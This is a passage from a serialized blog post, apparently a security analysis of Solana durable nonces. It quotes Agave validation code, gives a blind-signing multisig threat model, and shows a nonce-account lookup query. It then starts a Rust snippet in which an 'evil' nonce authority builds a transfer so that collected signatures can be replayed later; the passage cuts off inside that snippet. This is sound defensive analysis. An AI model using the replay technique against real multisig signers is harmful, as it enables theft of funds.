create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":20,"tag":3717,"props":66238,"children":66239},{},[66240],{"type":26,"value":66241},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":20,"tag":29,"props":66243,"children":66244},{},[66245,66247,66254],{"type":26,"value":66246},"If we examine the code ",{"type":20,"tag":35,"props":66248,"children":66251},{"href":66249,"rel":66250},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[39],[66252],{"type":26,"value":66253},"for recent blockhash validation",{"type":26,"value":66255},", we can also see the handling for durable nonces.",{"type":20,"tag":305,"props":66257,"children":66259},{"className":1360,"code":66258,"language":1359,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[66260],{"type":20,"tag":119,"props":66261,"children":66262},{"__ignoreMap":7},[66263,66310,66376,66396,66416,66446,66454,66508,66525,66545,66557,66569,66577,66584,66603,66630,66650,66657,66672,66702,66731],{"type":20,"tag":315,"props":66264,"children":66265},{"class":317,"line":318},[66266,66270,66275,66279,66284,66288,66293,66297,66301,66306],{"type":20,"tag":315,"props":66267,"children":66268},{"style":541},[66269],{"type":26,"value":1380},{"type":20,"tag":315,"props":66271,"children":66272},{"style":635},[66273],{"type":26,"value":66274}," recent_blockhash",{"type":20,"tag":315,"props":66276,"children":66277},{"style":334},[66278],{"type":26,"value":1395},{"type":20,"tag":315,"props":66280,"children":66281},{"style":635},[66282],{"type":26,"value":66283}," tx",{"type":20,"tag":315,"props":66285,"children":66286},{"style":334},[66287],{"type":26,"value":61},{"type":20,"tag":315,"props":66289,"children":66290},{"style":345},[66291],{"type":26,"value":66292},"message",{"type":20,"tag":315,"props":66294,"children":66295},{"style":328},[66296],{"type":26,"value":12280},{"type":20,"tag":315,"props":66298,"children":66299},{"style":334},[66300],{"type":26,"value":61},{"type":20,"tag":315,"props":66302,"children":66303},{"style":345},[66304],{"type":26,"value":66305},"recent_blockhash",{"type":20,"tag":315,"props":66307,"children":66308},{"style":328},[66309],{"type":26,"value":568},{"type":20,"tag":315,"props":66311,"children":66312},{"class":317,"line":356},[66313,66317,66321,66325,66329,66334,66338,66342,66347,66351,66356,66360,66364,66368,66372],{"type":20,"tag":315,"props":66314,"children":66315},{"style":525},[66316],{"type":26,"value":10680},{"type":20,"tag":315,"props":66318,"children":66319},{"style":541},[66320],{"type":26,"value":25721},{"type":20,"tag":315,"props":66322,"children":66323},{"style":322},[66324],{"type":26,"value":25726},{"type":20,"tag":315,"props":66326,"children":66327},{"style":328},[66328],{"type":26,"value":1049},{"type":20,"tag":315,"props":66330,"children":66331},{"style":635},[66332],{"type":26,"value":66333},"hash_info",{"type":20,"tag":315,"props":66335,"children":66336},{"style":328},[66337],{"type":26,"value":1468},{"type":20,"tag":315,"props":66339,"children":66340},{"style":334},[66341],{"type":26,"value":337},{"type":20,"tag":315,"props":66343,"children":66344},{"style":635},[66345],{"type":26,"value":66346}," hash_queue",{"type":20,"tag":315,"props":66348,"children":66349},{"style":334},[66350],{"type":26,"value":61},{"type":20,"tag":315,"props":66352,"children":66353},{"style":345},[66354],{"type":26,"value":66355},"get_hash_info_if_valid",{"type":20,"tag":315,"props":66357,"children":66358},{"style":328},[66359],{"type":26,"value":1049},{"type":20,"tag":315,"props":66361,"children":66362},{"style":635},[66363],{"type":26,"value":66305},{"type":20,"tag":315,"props":66365,"children":66366},{"style":328},[66367],{"type":26,"value":44},{"type":20,"tag":315,"props":66369,"children":66370},{"style":635},[66371],{"type":26,"value":66096},{"type":20,"tag":315,"props":66373,"children":66374},{"style":328},[66375],{"type":26,"value":549},{"type":20,"tag":315,"props":66377,"children":66378},{"class":317,"line":365},[66379,66383,66387,66392],{"type":20,"tag":315,"props":66380,"children":66381},{"style":322},[66382],{"type":26,"value":13212},{"type":20,"tag":315,"props":66384,"children":66385},{"style":328},[66386],{"type":26,"value":1049},{"type":20,"tag":315,"props":66388,"children":66389},{"style":322},[66390],{"type":26,"value":66391},"CheckedTransactionDetails",{"type":20,"tag":315,"props":66393,"children":66394},{"style":328},[66395],{"type":26,"value":1092},{"type":20,"tag":315,"props":66397,"children":66398},{"class":317,"line":374},[66399,66404,66408,66412],{"type":20,"tag":315,"props":66400,"children":66401},{"style":635},[66402],{"type":26,"value":66403}," nonce",{"type":20,"tag":315,"props":66405,"children":66406},{"style":334},[66407],{"type":26,"value":2884},{"type":20,"tag":315,"props":66409,"children":66410},{"style":322},[66411],{"type":26,"value":26174},{"type":20,"tag":315,"props":66413,"children":66414},{"style":328},[66415],{"type":26,"value":643},{"type":20,"tag":315,"props":66417,"children":66418},{"class":317,"line":383},[66419,66424,66428,66433,66437,66442],{"type":20,"tag":315,"props":66420,"children":66421},{"style":635},[66422],{"type":26,"value":66423}," lamports_per_signature",{"type":20,"tag":315,"props":66425,"children":66426},{"style":334},[66427],{"type":26,"value":2884},{"type":20,"tag":315,"props":66429,"children":66430},{"style":635},[66431],{"type":26,"value":66432}," hash_info",{"type":20,"tag":315,"props":66434,"children":66435},{"style":334},[66436],{"type":26,"value":61},{"type":20,"tag":315,"props":66438,"children":66439},{"style":345},[66440],{"type":26,"value":66441},"lamports_per_signature",{"type":20,"tag":315,"props":66443,"children":66444},{"style":328},[66445],{"type":26,"value":1871},{"type":20,"tag":315,"props":66447,"children":66448},{"class":317,"line":407},[66449],{"type":20,"tag":315,"props":66450,"children":66451},{"style":328},[66452],{"type":26,"value":66453}," })\n",{"type":20,"tag":315,"props":66455,"children":66456},{"class":317,"line":421},[66457,66461,66465,66469,66473,66477,66481,66486,66490,66495,66499,66503],{"type":20,"tag":315,"props":66458,"children":66459},{"style":328},[66460],{"type":26,"value":14180},{"type":20,"tag":315,"props":66462,"children":66463},{"style":525},[66464],{"type":26,"value":1087},{"type":20,"tag":315,"props":66466,"children":66467},{"style":525},[66468],{"type":26,"value":14189},{"type":20,"tag":315,"props":66470,"children":66471},{"style":541},[66472],{"type":26,"value":25721},{"type":20,"tag":315,"props":66474,"children":66475},{"style":322},[66476],{"type":26,"value":25726},{"type":20,"tag":315,"props":66478,"children":66479},{"style":328},[66480],{"type":26,"value":29938},{"type":20,"tag":315,"props":66482,"children":66483},{"style":635},[66484],{"type":26,"value":66485},"nonce",{"type":20,"tag":315,"props":66487,"children":66488},{"style":328},[66489],{"type":26,"value":44},{"type":20,"tag":315,"props":66491,"children":66492},{"style":635},[66493],{"type":26,"value":66494},"previous_lamports_per_signature",{"type":20,"tag":315,"props":66496,"children":66497},{"style":328},[66498],{"type":26,"value":7233},{"type":20,"tag":315,"props":66500,"children":66501},{"style":334},[66502],{"type":26,"value":337},{"type":20,"tag":315,"props":66504,"children":66505},{"style":541},[66506],{"type":26,"value":66507}," self\n",{"type":20,"tag":315,"props":66509,"children":66510},{"class":317,"line":430},[66511,66516,66521],{"type":20,"tag":315,"props":66512,"children":66513},{"style":334},[66514],{"type":26,"value":66515}," .",{"type":20,"tag":315,"props":66517,"children":66518},{"style":345},[66519],{"type":26,"value":66520},"check_load_and_advance_message_nonce_account",{"type":20,"tag":315,"props":66522,"children":66523},{"style":328},[66524],{"type":26,"value":353},{"type":20,"tag":315,"props":66526,"children":66527},{"class":317,"line":453},[66528,66533,66537,66541],{"type":20,"tag":315,"props":66529,"children":66530},{"style":635},[66531],{"type":26,"value":66532}," tx",{"type":20,"tag":315,"props":66534,"children":66535},{"style":334},[66536],{"type":26,"value":61},{"type":20,"tag":315,"props":66538,"children":66539},{"style":345},[66540],{"type":26,"value":66292},{"type":20,"tag":315,"props":66542,"children":66543},{"style":328},[66544],{"type":26,"value":1871},{"type":20,"tag":315,"props":66546,"children":66547},{"class":317,"line":486},[66548,66553],{"type":20,"tag":315,"props":66549,"children":66550},{"style":635},[66551],{"type":26,"value":66552}," next_durable_nonce",{"type":20,"tag":315,"props":66554,"children":66555},{"style":328},[66556],{"type":26,"value":643},{"type":20,"tag":315,"props":66558,"children":66559},{"class":317,"line":499},[66560,66565],{"type":20,"tag":315,"props":66561,"children":66562},{"style":635},[66563],{"type":26,"value":66564}," next_lamports_per_signature",{"type":20,"tag":315,"props":66566,"children":66567},{"style":328},[66568],{"type":26,"value":643},{"type":20,"tag":315,"props":66570,"children":66571},{"class":317,"line":513},[66572],{"type":20,"tag":315,"props":66573,"children":66574},{"style":328},[66575],{"type":26,"value":66576}," )\n",{"type":20,"tag":315,"props":66578,"children":66579},{"class":317,"line":521},[66580],{"type":20,"tag":315,"props":66581,"children":66582},{"style":328},[66583],{"type":26,"value":27602},{"type":20,"tag":315,"props":66585,"children":66586},{"class":317,"line":552},[66587,66591,66595,66599],{"type":20,"tag":315,"props":66588,"children":66589},{"style":322},[66590],{"type":26,"value":13212},{"type":20,"tag":315,"props":66592,"children":66593},{"style":328},[66594],{"type":26,"value":1049},{"type":20,"tag":315,"props":66596,"children":66597},{"style":322},[66598],{"type":26,"value":66391},{"type":20,"tag":315,"props":66600,"children":66601},{"style":328},[66602],{"type":26,"value":1092},{"type":20,"tag":315,"props":66604,"children":66605},{"class":317,"line":571},[66606,66610,66614,66618,66622,66626],{"type":20,"tag":315,"props":66607,"children":66608},{"style":635},[66609],{"type":26,"value":66403},{"type":20,"tag":315,"props":66611,"children":66612},{"style":334},[66613],{"type":26,"value":2884},{"type":20,"tag":315,"props":66615,"children":66616},{"style":322},[66617],{"type":26,"value":25726},{"type":20,"tag":315,"props":66619,"children":66620},{"style":328},[66621],{"type":26,"value":1049},{"type":20,"tag":315,"props":66623,"children":66624},{"style":635},[66625],{"type":26,"value":66485},{"type":20,"tag":315,"props":66627,"children":66628},{"style":328},[66629],{"type":26,"value":5131},{"type":20,"tag":315,"props":66631,"children":66632},{"class":317,"line":2031},[66633,66637,66641,66646],{"type":20,"tag":315,"props":66634,"children":66635},{"style":635},[66636],{"type":26,"value":66423},{"type":20,"tag":315,"props":66638,"children":66639},{"style":334},[66640],{"type":26,"value":2884},{"type":20,"tag":315,"props":66642,"children":66643},{"style":635},[66644],{"type":26,"value":66645}," previous_lamports_per_signature",{"type":20,"tag":315,"props":66647,"children":66648},{"style":328},[66649],{"type":26,"value":643},{"type":20,"tag":315,"props":66651,"children":66652},{"class":317,"line":2053},[66653],{"type":20,"tag":315,"props":66654,"children":66655},{"style":328},[66656],{"type":26,"value":66453},{"type":20,"tag":315,"props":66658,"children":66659},{"class":317,"line":2061},[66660,66664,66668],{"type":20,"tag":315,"props":66661,"children":66662},{"style":328},[66663],{"type":26,"value":14180},{"type":20,"tag":315,"props":66665,"children":66666},{"style":525},[66667],{"type":26,"value":1087},{"type":20,"tag":315,"props":66669,"children":66670},{"style":328},[66671],{"type":26,"value":1092},{"type":20,"tag":315,"props":66673,"children":66674},{"class":317,"line":2070},[66675,66680,66684,66689,66694,66698],{"type":20,"tag":315,"props":66676,"children":66677},{"style":635},[66678],{"type":26,"value":66679}," error_counters",{"type":20,"tag":315,"props":66681,"children":66682},{"style":334},[66683],{"type":26,"value":61},{"type":20,"tag":315,"props":66685,"children":66686},{"style":328},[66687],{"type":26,"value":66688},"blockhash_not_found ",{"type":20,"tag":315,"props":66690,"children":66691},{"style":334},[66692],{"type":26,"value":66693},"+=",{"type":20,"tag":315,"props":66695,"children":66696},{"style":765},[66697],{"type":26,"value":2916},{"type":20,"tag":315,"props":66699,"children":66700},{"style":328},[66701],{"type":26,"value":1405},{"type":20,"tag":315,"props":66703,"children":66704},{"class":317,"line":2139},[66705,66709,66713,66718,66722,66727],{"type":20,"tag":315,"props":66706,"children":66707},{"style":322},[66708],{"type":26,"value":13255},{"type":20,"tag":315,"props":66710,"children":66711},{"style":328},[66712],{"type":26,"value":1049},{"type":20,"tag":315,"props":66714,"children":66715},{"style":322},[66716],{"type":26,"value":66717},"TransactionError",{"type":20,"tag":315,"props":66719,"children":66720},{"style":334},[66721],{"type":26,"value":1861},{"type":20,"tag":315,"props":66723,"children":66724},{"style":322},[66725],{"type":26,"value":66726},"BlockhashNotFound",{"type":20,"tag":315,"props":66728,"children":66729},{"style":328},[66730],{"type":26,"value":380},{"type":20,"tag":315,"props":66732,"children":66733},{"class":317,"line":2147},[66734],{"type":20,"tag":315,"props":66735,"children":66736},{"style":328},[66737],{"type":26,"value":1736},{"type":20,"tag":29,"props":66739,"children":66740},{},[66741],{"type":26,"value":66742},"The documentation does a good job of explaining how they work.",{"type":20,"tag":1312,"props":66744,"children":66745},{},[66746],{"type":20,"tag":29,"props":66747,"children":66748},{},[66749],{"type":26,"value":66750},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":20,"tag":29,"props":66752,"children":66753},{},[66754,66756,66763],{"type":26,"value":66755},"Durable nonces are created and managed ",{"type":20,"tag":35,"props":66757,"children":66760},{"href":66758,"rel":66759},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[39],[66761],{"type":26,"value":66762},"by the system program",{"type":26,"value":66764},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":20,"tag":29,"props":66766,"children":66767},{},[66768,66770,66777],{"type":26,"value":66769},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":20,"tag":35,"props":66771,"children":66774},{"href":66772,"rel":66773},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[39],[66775],{"type":26,"value":66776},"based on the current blockhash",{"type":26,"value":66778},", and cannot be predicted in advance.",{"type":20,"tag":305,"props":66780,"children":66782},{"className":1360,"code":66781,"language":1359,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[66783],{"type":20,"tag":119,"props":66784,"children":66785},{"__ignoreMap":7},[66786,66838,66871],{"type":20,"tag":315,"props":66787,"children":66788},{"class":317,"line":318},[66789,66793,66797,66801,66805,66809,66814,66818,66822,66826,66830,66834],{"type":20,"tag":315,"props":66790,"children":66791},{"style":541},[66792],{"type":26,"value":1380},{"type":20,"tag":315,"props":66794,"children":66795},{"style":635},[66796],{"type":26,"value":66346},{"type":20,"tag":315,"props":66798,"children":66799},{"style":334},[66800],{"type":26,"value":1395},{"type":20,"tag":315,"props":66802,"children":66803},{"style":541},[66804],{"type":26,"value":12198},{"type":20,"tag":315,"props":66806,"children":66807},{"style":334},[66808],{"type":26,"value":61},{"type":20,"tag":315,"props":66810,"children":66811},{"style":328},[66812],{"type":26,"value":66813},"blockhash_queue",{"type":20,"tag":315,"props":66815,"children":66816},{"style":334},[66817],{"type":26,"value":61},{"type":20,"tag":315,"props":66819,"children":66820},{"style":345},[66821],{"type":26,"value":58894},{"type":20,"tag":315,"props":66823,"children":66824},{"style":328},[66825],{"type":26,"value":12280},{"type":20,"tag":315,"props":66827,"children":66828},{"style":334},[66829],{"type":26,"value":61},{"type":20,"tag":315,"props":66831,"children":66832},{"style":345},[66833],{"type":26,"value":2046},{"type":20,"tag":315,"props":66835,"children":66836},{"style":328},[66837],{"type":26,"value":568},{"type":20,"tag":315,"props":66839,"children":66840},{"class":317,"line":356},[66841,66845,66850,66854,66858,66862,66867],{"type":20,"tag":315,"props":66842,"children":66843},{"style":541},[66844],{"type":26,"value":1380},{"type":20,"tag":315,"props":66846,"children":66847},{"style":635},[66848],{"type":26,"value":66849}," last_blockhash",{"type":20,"tag":315,"props":66851,"children":66852},{"style":334},[66853],{"type":26,"value":1395},{"type":20,"tag":315,"props":66855,"children":66856},{"style":635},[66857],{"type":26,"value":66346},{"type":20,"tag":315,"props":66859,"children":66860},{"style":334},[66861],{"type":26,"value":61},{"type":20,"tag":315,"props":66863,"children":66864},{"style":345},[66865],{"type":26,"value":66866},"last_hash",{"type":20,"tag":315,"props":66868,"children":66869},{"style":328},[66870],{"type":26,"value":568},{"type":20,"tag":315,"props":66872,"children":66873},{"class":317,"line":365},[66874,66878,66883,66887,66892,66896,66901,66905,66909,66914],{"type":20,"tag":315,"props":66875,"children":66876},{"style":541},[66877],{"type":26,"value":1380},{"type":20,"tag":315,"props":66879,"children":66880},{"style":635},[66881],{"type":26,"value":66882}," next_durable_nonce",{"type":20,"tag":315,"props":66884,"children":66885},{"style":334},[66886],{"type":26,"value":1395},{"type":20,"tag":315,"props":66888,"children":66889},{"style":322},[66890],{"type":26,"value":66891}," DurableNonce",{"type":20,"tag":315,"props":66893,"children":66894},{"style":334},[66895],{"type":26,"value":1861},{"type":20,"tag":315,"props":66897,"children":66898},{"style":345},[66899],{"type":26,"value":66900},"from_blockhash",{"type":20,"tag":315,"props":66902,"children":66903},{"style":328},[66904],{"type":26,"value":1049},{"type":20,"tag":315,"props":66906,"children":66907},{"style":334},[66908],{"type":26,"value":1490},{"type":20,"tag":315,"props":66910,"children":66911},{"style":635},[66912],{"type":26,"value":66913},"last_blockhash",{"type":20,"tag":315,"props":66915,"children":66916},{"style":328},[66917],{"type":26,"value":2214},{"type":20,"tag":29,"props":66919,"children":66920},{},[66921,66923,66928],{"type":26,"value":66922},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":20,"tag":55,"props":66924,"children":66925},{},[66926],{"type":26,"value":66927},"can",{"type":26,"value":66929}," be saved and reused.",{"type":20,"tag":21,"props":66931,"children":66933},{"id":66932},"threat-model",[66934],{"type":26,"value":66935},"Threat Model",{"type":20,"tag":29,"props":66937,"children":66938},{},[66939],{"type":26,"value":66940},"Let's consider a simplified form of the original question.",{"type":20,"tag":68,"props":66942,"children":66943},{},[66944,66949,66954],{"type":20,"tag":72,"props":66945,"children":66946},{},[66947],{"type":26,"value":66948},"We have a N/M multisig",{"type":20,"tag":72,"props":66950,"children":66951},{},[66952],{"type":26,"value":66953},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":20,"tag":72,"props":66955,"children":66956},{},[66957],{"type":26,"value":66958},"We can accurately query chain state.",{"type":20,"tag":29,"props":66960,"children":66961},{},[66962],{"type":26,"value":66963},"Can we safely sign transactions?",{"type":20,"tag":29,"props":66965,"children":66966},{},[66967],{"type":26,"value":66968},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":20,"tag":29,"props":66970,"children":66971},{},[66972,66974,66980,66982,66989],{"type":26,"value":66973},"Durable nonces require an onchain account, and it's possible to use a ",{"type":20,"tag":119,"props":66975,"children":66977},{"className":66976},[],[66978],{"type":26,"value":66979},"getProgramAccounts",{"type":26,"value":66981}," call to validate if your signer ",{"type":20,"tag":35,"props":66983,"children":66986},{"href":66984,"rel":66985},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[39],[66987],{"type":26,"value":66988},"has an associated durable nonce",{"type":26,"value":61},{"type":20,"tag":305,"props":66991,"children":66993},{"className":34346,"code":66992,"language":34348,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[66994],{"type":20,"tag":119,"props":66995,"children":66996},{"__ignoreMap":7},[66997,67044,67080,67088,67100,67108,67120,67128,67136,67153,67160,67167,67175,67183,67195,67221,67238,67245,67252,67260,67267],{"type":20,"tag":315,"props":66998,"children":66999},{"class":317,"line":318},[67000,67004,67009,67013,67017,67022,67026,67031,67035,67040],{"type":20,"tag":315,"props":67001,"children":67002},{"style":541},[67003],{"type":26,"value":8054},{"type":20,"tag":315,"props":67005,"children":67006},{"style":635},[67007],{"type":26,"value":67008}," connection",{"type":20,"tag":315,"props":67010,"children":67011},{"style":334},[67012],{"type":26,"value":1395},{"type":20,"tag":315,"props":67014,"children":67015},{"style":541},[67016],{"type":26,"value":30348},{"type":20,"tag":315,"props":67018,"children":67019},{"style":345},[67020],{"type":26,"value":67021}," Connection",{"type":20,"tag":315,"props":67023,"children":67024},{"style":328},[67025],{"type":26,"value":1049},{"type":20,"tag":315,"props":67027,"children":67028},{"style":345},[67029],{"type":26,"value":67030},"clusterApiUrl",{"type":20,"tag":315,"props":67032,"children":67033},{"style":328},[67034],{"type":26,"value":1049},{"type":20,"tag":315,"props":67036,"children":67037},{"style":2652},[67038],{"type":26,"value":67039},"'testnet'",{"type":20,"tag":315,"props":67041,"children":67042},{"style":328},[67043],{"type":26,"value":5618},{"type":20,"tag":315,"props":67045,"children":67046},{"class":317,"line":356},[67047,67051,67056,67060,67064,67068,67072,67076],{"type":20,"tag":315,"props":67048,"children":67049},{"style":541},[67050],{"type":26,"value":8054},{"type":20,"tag":315,"props":67052,"children":67053},{"style":635},[67054],{"type":26,"value":67055}," nonceAccounts",{"type":20,"tag":315,"props":67057,"children":67058},{"style":334},[67059],{"type":26,"value":1395},{"type":20,"tag":315,"props":67061,"children":67062},{"style":525},[67063],{"type":26,"value":34627},{"type":20,"tag":315,"props":67065,"children":67066},{"style":635},[67067],{"type":26,"value":67008},{"type":20,"tag":315,"props":67069,"children":67070},{"style":328},[67071],{"type":26,"value":61},{"type":20,"tag":315,"props":67073,"children":67074},{"style":345},[67075],{"type":26,"value":66979},{"type":20,"tag":315,"props":67077,"children":67078},{"style":328},[67079],{"type":26,"value":353},{"type":20,"tag":315,"props":67081,"children":67082},{"class":317,"line":365},[67083],{"type":20,"tag":315,"props":67084,"children":67085},{"style":1071},[67086],{"type":26,"value":67087}," // The system program owns all nonce accounts.\n",{"type":20,"tag":315,"props":67089,"children":67090},{"class":317,"line":374},[67091,67096],{"type":20,"tag":315,"props":67092,"children":67093},{"style":635},[67094],{"type":26,"value":67095}," SYSTEM_PROGRAM_ADDRESS",{"type":20,"tag":315,"props":67097,"children":67098},{"style":328},[67099],{"type":26,"value":643},{"type":20,"tag":315,"props":67101,"children":67102},{"class":317,"line":383},[67103],{"type":20,"tag":315,"props":67104,"children":67105},{"style":328},[67106],{"type":26,"value":67107}," {\n",{"type":20,"tag":315,"props":67109,"children":67110},{"class":317,"line":407},[67111,67116],{"type":20,"tag":315,"props":67112,"children":67113},{"style":635},[67114],{"type":26,"value":67115}," filters:",{"type":20,"tag":315,"props":67117,"children":67118},{"style":328},[67119],{"type":26,"value":24037},{"type":20,"tag":315,"props":67121,"children":67122},{"class":317,"line":421},[67123],{"type":20,"tag":315,"props":67124,"children":67125},{"style":328},[67126],{"type":26,"value":67127}," {\n",{"type":20,"tag":315,"props":67129,"children":67130},{"class":317,"line":430},[67131],{"type":20,"tag":315,"props":67132,"children":67133},{"style":1071},[67134],{"type":26,"value":67135}," // Nonce accounts are exactly 80 bytes long\n",{"type":20,"tag":315,"props":67137,"children":67138},{"class":317,"line":453},[67139,67144,67149],{"type":20,"tag":315,"props":67140,"children":67141},{"style":635},[67142],{"type":26,"value":67143}," dataSize:",{"type":20,"tag":315,"props":67145,"children":67146},{"style":765},[67147],{"type":26,"value":67148}," 80",{"type":20,"tag":315,"props":67150,"children":67151},{"style":328},[67152],{"type":26,"value":643},{"type":20,"tag":315,"props":67154,"children":67155},{"class":317,"line":486},[67156],{"type":20,"tag":315,"props":67157,"children":67158},{"style":328},[67159],{"type":26,"value":35615},{"type":20,"tag":315,"props":67161,"children":67162},{"class":317,"line":499},[67163],{"type":20,"tag":315,"props":67164,"children":67165},{"style":328},[67166],{"type":26,"value":67127},{"type":20,"tag":315,"props":67168,"children":67169},{"class":317,"line":513},[67170],{"type":20,"tag":315,"props":67171,"children":67172},{"style":1071},[67173],{"type":26,"value":67174}," // The authority's 32-byte public key is written\n",{"type":20,"tag":315,"props":67176,"children":67177},{"class":317,"line":521},[67178],{"type":20,"tag":315,"props":67179,"children":67180},{"style":1071},[67181],{"type":26,"value":67182}," // into bytes 8-40 of the nonce's account data.\n",{"type":20,"tag":315,"props":67184,"children":67185},{"class":317,"line":552},[67186,67191],{"type":20,"tag":315,"props":67187,"children":67188},{"style":635},[67189],{"type":26,"value":67190}," memcmp:",{"type":20,"tag":315,"props":67192,"children":67193},{"style":328},[67194],{"type":26,"value":1092},{"type":20,"tag":315,"props":67196,"children":67197},{"class":317,"line":571},[67198,67203,67208,67212,67217],{"type":20,"tag":315,"props":67199,"children":67200},{"style":635},[67201],{"type":26,"value":67202}," bytes:",{"type":20,"tag":315,"props":67204,"children":67205},{"style":635},[67206],{"type":26,"value":67207}," AUTHORITY_PUBLIC_KEY",{"type":20,"tag":315,"props":67209,"children":67210},{"style":328},[67211],{"type":26,"value":61},{"type":20,"tag":315,"props":67213,"children":67214},{"style":345},[67215],{"type":26,"value":67216},"toBase58",{"type":20,"tag":315,"props":67218,"children":67219},{"style":328},[67220],{"type":26,"value":1871},{"type":20,"tag":315,"props":67222,"children":67223},{"class":317,"line":2031},[67224,67229,67234],{"type":20,"tag":315,"props":67225,"children":67226},{"style":635},[67227],{"type":26,"value":67228}," offset:",{"type":20,"tag":315,"props":67230,"children":67231},{"style":765},[67232],{"type":26,"value":67233}," 8",{"type":20,"tag":315,"props":67235,"children":67236},{"style":328},[67237],{"type":26,"value":643},{"type":20,"tag":315,"props":67239,"children":67240},{"class":317,"line":2053},[67241],{"type":20,"tag":315,"props":67242,"children":67243},{"style":328},[67244],{"type":26,"value":23789},{"type":20,"tag":315,"props":67246,"children":67247},{"class":317,"line":2061},[67248],{"type":20,"tag":315,"props":67249,"children":67250},{"style":328},[67251],{"type":26,"value":35615},{"type":20,"tag":315,"props":67253,"children":67254},{"class":317,"line":2070},[67255],{"type":20,"tag":315,"props":67256,"children":67257},{"style":328},[67258],{"type":26,"value":67259}," ],\n",{"type":20,"tag":315,"props":67261,"children":67262},{"class":317,"line":2139},[67263],{"type":20,"tag":315,"props":67264,"children":67265},{"style":328},[67266],{"type":26,"value":4265},{"type":20,"tag":315,"props":67268,"children":67269},{"class":317,"line":2147},[67270],{"type":20,"tag":315,"props":67271,"children":67272},{"style":328},[67273],{"type":26,"value":2214},{"type":20,"tag":29,"props":67275,"children":67276},{},[67277,67279,67287],{"type":26,"value":67278},"Unfortunately this is not sufficient",{"type":20,"tag":13875,"props":67280,"children":67281},{},[67282],{"type":20,"tag":35,"props":67283,"children":67285},{"href":28039,"ariaDescribedBy":67284,"dataFootnoteRef":7,"id":28041},[13882],[67286],{"type":26,"value":2406},{"type":26,"value":67288},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":20,"tag":305,"props":67290,"children":67292},{"className":1360,"code":67291,"language":1359,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[67293],{"type":20,"tag":119,"props":67294,"children":67295},{"__ignoreMap":7},[67296,67362,67378,67461],{"type":20,"tag":315,"props":67297,"children":67298},{"class":317,"line":318},[67299,67303,67307,67311,67316,67320,67324,67328,67332,67336,67340,67344,67349,67353,67358],{"type":20,"tag":315,"props":67300,"children":67301},{"style":541},[67302],{"type":26,"value":1380},{"type":20,"tag":315,"props":67304,"children":67305},{"style":635},[67306],{"type":26,"value":41789},{"type":20,"tag":315,"props":67308,"children":67309},{"style":334},[67310],{"type":26,"value":1395},{"type":20,"tag":315,"props":67312,"children":67313},{"style":328},[67314],{"type":26,"value":67315}," system_instruction",{"type":20,"tag":315,"props":67317,"children":67318},{"style":334},[67319],{"type":26,"value":1861},{"type":20,"tag":315,"props":67321,"children":67322},{"style":345},[67323],{"type":26,"value":30538},{"type":20,"tag":315,"props":67325,"children":67326},{"style":328},[67327],{"type":26,"value":1049},{"type":20,"tag":315,"props":67329,"children":67330},{"style":334},[67331],{"type":26,"value":1490},{"type":20,"tag":315,"props":67333,"children":67334},{"style":635},[67335],{"type":26,"value":17877},{"type":20,"tag":315,"props":67337,"children":67338},{"style":328},[67339],{"type":26,"value":44},{"type":20,"tag":315,"props":67341,"children":67342},{"style":334},[67343],{"type":26,"value":1490},{"type":20,"tag":315,"props":67345,"children":67346},{"style":635},[67347],{"type":26,"value":67348},"ledger_base_pubkey",{"type":20,"tag":315,"props":67350,"children":67351},{"style":328},[67352],{"type":26,"value":44},{"type":20,"tag":315,"props":67354,"children":67355},{"style":765},[67356],{"type":26,"value":67357},"42",{"type":20,"tag":315,"props":67359,"children":67360},{"style":328},[67361],{"type":26,"value":2214},{"type":20,"tag":315,"props":67363,"children":67364},{"class":317,"line":356},[67365,67369,67374],{"type":20,"tag":315,"props":67366,"children":67367},{"style":541},[67368],{"type":26,"value":1380},{"type":20,"tag":315,"props":67370,"children":67371},{"style":635},[67372],{"type":26,"value":67373}," 